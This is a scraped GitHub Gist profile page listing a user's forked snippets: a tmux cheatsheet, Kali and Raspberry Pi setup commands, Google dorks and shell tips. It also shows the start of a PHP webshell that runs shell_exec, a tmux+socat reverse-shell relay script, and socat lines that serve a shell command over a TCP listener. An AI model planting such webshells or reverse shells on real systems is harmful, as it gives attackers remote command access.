Skip to content

Instantly share code, notes, and snippets.

View C0ntr07's full-sized avatar
💭
Lurking in the dark areas of the internet

Chris Hewitt C0ntr07

💭
Lurking in the dark areas of the internet
  • Behind you
View GitHub Profile
@C0ntr07
C0ntr07 / webshell.php
Created April 13, 2018 01:29 — forked from RyanKung/webshell.php
a simple webshell
<?php session_start(); ?>
<?php
if (empty($_SESSION['path'])) {
$_SESSION['user'] = shell_exec('whoami');
$_SESSION['host'] = shell_exec('hostname');
$_SESSION['path'] = dirname(__FILE__);
}
function showInfo($cmd) {
$user = $_SESSION['user'];
@C0ntr07
C0ntr07 / google-dorks
Created May 18, 2018 19:10 — forked from stevenswafford/google-dorks
Listing of a number of useful Google dorks.
" _ _ "
" _ /|| . . ||\ _ "
" ( } \||D ' ' ' C||/ { % "
" | /\__,=_[_] ' . . ' [_]_=,__/\ |"
" |_\_ |----| |----| _/_|"
" | |/ | | | | \| |"
" | /_ | | | | _\ |"
It is all fun and games until someone gets hacked!
@C0ntr07
C0ntr07 / tmux-cheatsheet.markdown
Created October 3, 2018 14:41 — forked from MohamedAlaa/tmux-cheatsheet.markdown
tmux shortcuts & cheatsheet

tmux shortcuts & cheatsheet

start new:

tmux

start new with session name:

tmux new -s myname
@C0ntr07
C0ntr07 / mr.robot_season-2_easter-egg-sites.md
Created December 23, 2018 14:45 — forked from eyecatchup/mr.robot_season-2_easter-egg-sites.md
A collection of "Mr. Robot" Season 2 Easter Egg Sites. #mrrobot #hackingrobot #robotegg
@C0ntr07
C0ntr07 / gist:38b58d67b6c10069e92c6ab005cb16e3
Created January 18, 2019 15:17 — forked from jgamblin/gist:2441964a1266764ed71f3243f87bbeec
Install Raspi-Config and rpi-update on Kali.
sudo apt-get update
sudo apt-get install lua5.1 alsa-utils triggerhappy curl libcurl3
wget http://archive.raspberrypi.org/debian/pool/main/r/raspi-config/raspi-config_20160322_all.deb
wget http://archive.raspberrypi.org/debian/pool/main/r/rpi-update/rpi-update_20140705_all.deb
dpkg -i raspi-config_20160322_all.deb
dpkg -i rpi-update_20140705_all.deb
OPENSSH=/opt/openssh2
mkdir -p /opt/openssh2/dist/
cd ${OPENSSH}
wget http://zlib.net/zlib-1.2.11.tar.gz
tar xvfz zlib-1.2.11.tar.gz
cd zlib-1.2.11
./configure --prefix=${OPENSSH}/dist/ && make && make install
cd ${OPENSSH}
wget http://www.openssl.org/source/openssl-1.0.1e.tar.gz
tar xvfz openssl-1.0.1e.tar.gz
@C0ntr07
C0ntr07 / tmux-connect.sh
Created February 25, 2019 01:28 — forked from QuAzI/tmux-connect.sh
Reverse shell for NAT users with tmux+socat+ssh
#!/bin/sh
#
# Run this script on relay_server to connect shared session
#
read -p "Port number: " relay_port
socat file:`tty`,raw,echo=0 tcp-connect:localhost:${relay_port}
@C0ntr07
C0ntr07 / socat-tips.sh
Created March 25, 2019 01:27 — forked from fsodogandji/socat-tips.sh
socat tips & tricks
#To create a classic TCP listening daemon, similar to netcat -l, use a variation of the following command.
socat TCP-LISTEN:8080 stdout
#use remotly a command shell
socat TCP4-LISTEN:1234,reuseaddr,fork 'SYSTEM:/bin/cat /home/infos.txt'
#sslify a server
socat OPENSSL-LISTEN:443,reuse‐addr,pf=ip4,fork,cert=server.pem,cafile=client.crt TCP4-CONNECT:localhost:80
@C0ntr07
C0ntr07 / scripting.sh
Created March 31, 2019 14:57 — forked from nitish11/scripting.sh
Shell scripting hacks!!!!
# Version : 1.0
# Author : Nitish Bhardwaj
# Description : This Script file contains some shell script quick hacks.
#Check below links to get basics
#http://linuxconfig.org/linux-commands
#http://www.thegeekstuff.com/2010/11/50-linux-commands/
#http://www.makeuseof.com/tag/an-a-z-of-linux-40-essential-commands-you-should-know/
@C0ntr07
C0ntr07 / sources.list
Created May 22, 2019 23:11 — forked from pichuang/sources.list
Kali Linux source.list /etc/apt/sources.list
deb http://kali.cs.nctu.edu.tw/ /kali main contrib non-free
deb http://kali.cs.nctu.edu.tw/ /wheezy main contrib non-free
deb http://kali.cs.nctu.edu.tw/kali kali-dev main contrib non-free
deb http://kali.cs.nctu.edu.tw/kali kali-dev main/debian-installer
deb-src http://kali.cs.nctu.edu.tw/kali kali-dev main contrib non-free
deb http://kali.cs.nctu.edu.tw/kali kali main contrib non-free
deb http://kali.cs.nctu.edu.tw/kali kali main/debian-installer
deb-src http://kali.cs.nctu.edu.tw/kali kali main contrib non-free
deb http://kali.cs.nctu.edu.tw/kali-security kali/updates main contrib non-free
deb-src http://kali.cs.nctu.edu.tw/kali-security kali/updates main contrib non-free